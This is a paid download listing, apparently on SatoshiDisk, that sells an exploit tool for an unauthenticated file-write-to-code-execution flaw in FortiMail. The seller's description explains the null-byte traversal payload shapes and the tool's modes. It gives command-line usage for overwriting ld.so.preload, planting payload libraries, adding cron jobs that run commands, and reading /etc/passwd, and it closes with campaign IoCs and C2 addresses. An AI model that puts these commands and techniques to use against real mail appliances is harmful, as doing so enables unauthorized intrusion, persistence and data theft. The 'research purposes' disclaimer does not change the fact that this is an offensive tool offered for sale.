$158.41 USD (by current exchange rate)
Total: 1 file(s)
Hidden text contain: 0 symbol(s)
Download file(s):
CVE-2026-104286.zip 11.79KB
Info(Description by file owner):
# Exploit for CVE-2026-104286 — FortiMail: Unauthenticated Arbitrary File Write → Code Execution
**File:** `fortimail_cve_2026_104286.py` (single file, Python 3.6+ stdlib only, fully remote over HTTP/HTTPS)
## Vulnerability
| Field | Value |
|---|---|
| CVE | CVE-2026-104286 |
| Product | Fortinet FortiMail (physical and virtual appliances) |
| Type | Path Traversal (CWE-22) + improper null-byte neutralization (CWE-158) |
| CVSS 3.1 | 9.8 Critical (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| Authentication | **none required** |
| Attack surface | Identity-Based Encryption (IBE) request handler on the management interface |
| Status | Actively exploited; CISA KEV since 2026-10-01 (US federal deadline 2026-10-04) |
| Advisory | Fortinet PSIRT FG-IR-26-175 (2026-10-01) |
| Affected | 7.2.0–7.2.9 (no fix in branch — migrate to 7.4+), 7.4.0–7.4.8, 7.6.0–7.6.6, 8.0.0–8.0.1 |
| Fixed in | 7.4.9+, 7.6.7+, 8.0.2+ |
| Vendor workaround | Disable IBE: `config system encryption ibe / set status disable / end` |
A single unauthenticated HTTP/HTTPS request whose URI embeds a traversal sequence after a null byte (`%00`) causes the appliance to write an attacker-controlled file to an arbitrary path on its filesystem. Writes into loader-controlled or executable locations yield code execution. The confirmed in-the-wild campaign used exactly this: replaced `/data/lib/liblog.so`, created `/data/etc/ld.so.preload` and `/data/bin/webconsole`, planted cron entries referencing `/migadmin`, and created archive account `archive234`.
## How the tool works
The tool is a configurable URI/strategy engine:
- **Default URI shape:** `{IBE-prefix}/{decoy}.{ext}%00//`, with the traversal encoded as `%2e%2e` (the shape observed in campaign IoCs). Alternate encodings: literal `../`, `%252e` (double-encoded), `%2f`, `%2500`.
- **Content delivery:** request body (POST/PUT, raw or base64) or query parameters (`data=`, `content=`); empty write (GET) also supported.
- **Automatic strategy ordering** with **read-back verification** after each step (GET of the written path, exact content comparison): the first confirmed variant stops the run.
- Modes exist to enumerate prefixes/encodings per build and to verify results.
## Modes
| Mode | Purpose |
|---|---|
| `probe` | Reachability, version banner, candidate IBE-prefix liveness |
| `write` | **Core:** arbitrary file write (`--target` + content) with automatic shape search and verification |
| `exec` | **Code execution:** payload script (`/data/bin/exploit_104286.sh`) + cron entry (`/etc/crontab`) — the technique observed in the campaign |
| `verify` | Read-back verification of an already-written file (SHA-256 comparison) |
| `scan` | Enumerate URI-shape/encoding candidates against a scratch path; surface anomalous (non-404) responses |
| `cleanup` | Neutralize an `exec` preset (best effort) |
| `selftest` | End-to-end test against a built-in mock server (no target system needed) |
## Usage examples
```bash
# 0) Self-test the tool (no target system required)
python3 fortimail_cve_2026_104286.py selftest
# 1) Recon: reachability, version banner, which prefixes are live
python3 fortimail_cve_2026_104286.py probe --host mail.example.com
# 2) Arbitrary file write (the core primitive)
python3 fortimail_cve_2026_104286.py write --host mail.example.com \
--target /data/etc/ld.so.preload --content '/data/lib/liblog.so'
# content from a local file:
python3 fortimail_cve_2026_104286.py write --host mail.example.com \
--target /data/bin/payload.so --content-file payload.so
# 3) Code execution: script + cron (runs every minute)
python3 fortimail_cve_2026_104286.py exec --host mail.example.com \
--cmd 'id > /data/tmp/out.txt 2>&1'
# command from stdin:
echo 'cat /etc/passwd > /data/tmp/out.txt' | python3 fortimail_cve_2026_104286.py exec --host mail.example.com
# 4) Verify a previous write
python3 fortimail_cve_2026_104286.py verify --host mail.example.com \
--target /data/etc/ld.so.preload --content '/data/lib/liblog.so'
# 5) Discover the working shape on a specific build (if auto mode did not confirm)
python3 fortimail_cve_2026_104286.py scan --host mail.example.com --json
# 6) Dry rehearsal: print exact requests without sending
python3 fortimail_cve_2026_104286.py write --host mail.example.com --dry-run \
--target /data/etc/ld.so.preload --content test
# 7) Remove exec-preset traces
python3 fortimail_cve_2026_104286.py cleanup --host mail.example.com
```
Also available: `--proxy host:port` (or `HTTPS_PROXY` env), `--insecure` (skip TLS verification), `--scheme http`, `--port`, `--timeout`, `--json` (machine-readable output), `--max-attempts`, `--base`/`--enc`/`--null`/`--ext` (URI-shape overrides), `--dry-run`.
Exit codes: `0` — success/confirmed, `2` — attempts made but not confirmed by read-back.
## Limitations
1. Read-back is possible only if the web server serves the written file at its path; otherwise the result is marked "unverified" — confirm externally (logs, CLI/SSH, the IoC checklist below).
2. The `exec` preset (script + cron) mirrors the campaign-observed technique, but the exact cron format may differ per build; where it does not apply, use `write` with your own target path/content.
3. Writes overwrite the target file wholesale. Before writing into an existing file (`/etc/crontab`, configs), the tool attempts to read current content and preserves it.
## Post-exploitation checklist / IoCs (from FG-IR-26-175)
- Files: `/data/etc/ld.so.preload`, `/data/bin/webconsole`, replaced `/data/lib/liblog.so`, `/data/bin/mailservice`, `/bin/smit`, `/data/etc/httpd.conf`, `/data/migadmin.tar.gz`
- Cron entries referencing `/migadmin`; account `archive234` (remote archive)
- C2 addresses: `79.141.169.187`, `45.129.0.192`
- URI patterns to GUI/IBE: `%2e%2e`, `%252e`, `%00`, `%2500`
- Log strings: `Invalid Base64 Encoding at pos 0`, `User admin logged out from (null)`
## References
- Fortinet PSIRT FG-IR-26-175: https://fortiguard.fortinet.com/psirt/FG-IR-26-175
- CISA KEV: https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-104286
- NVD: https://nvd.nist.gov/vuln/detail/cve-2026-104286
- Public mechanism analysis and IoCs: Brandefense Research (2026-10-08), sherer.io (2026-10-02), NCSC-NL NCSC-2026-0398
*The tool is provided for research purposes. Perform writes/execution on production systems only under your change-management policy; capture system state (logs, hashes of critical files) before exploiting.*
Enter valid email to buy this volume:
We will send download links to this email address after payment confirmation.
Please note that SatoshiDisk does not provide support for the items purchased through a seller via us. If you have questions regarding your product, please contact the seller directly. We can't refund, change, rollback or cancel the transaction because of blockchain protocol. All sales are final.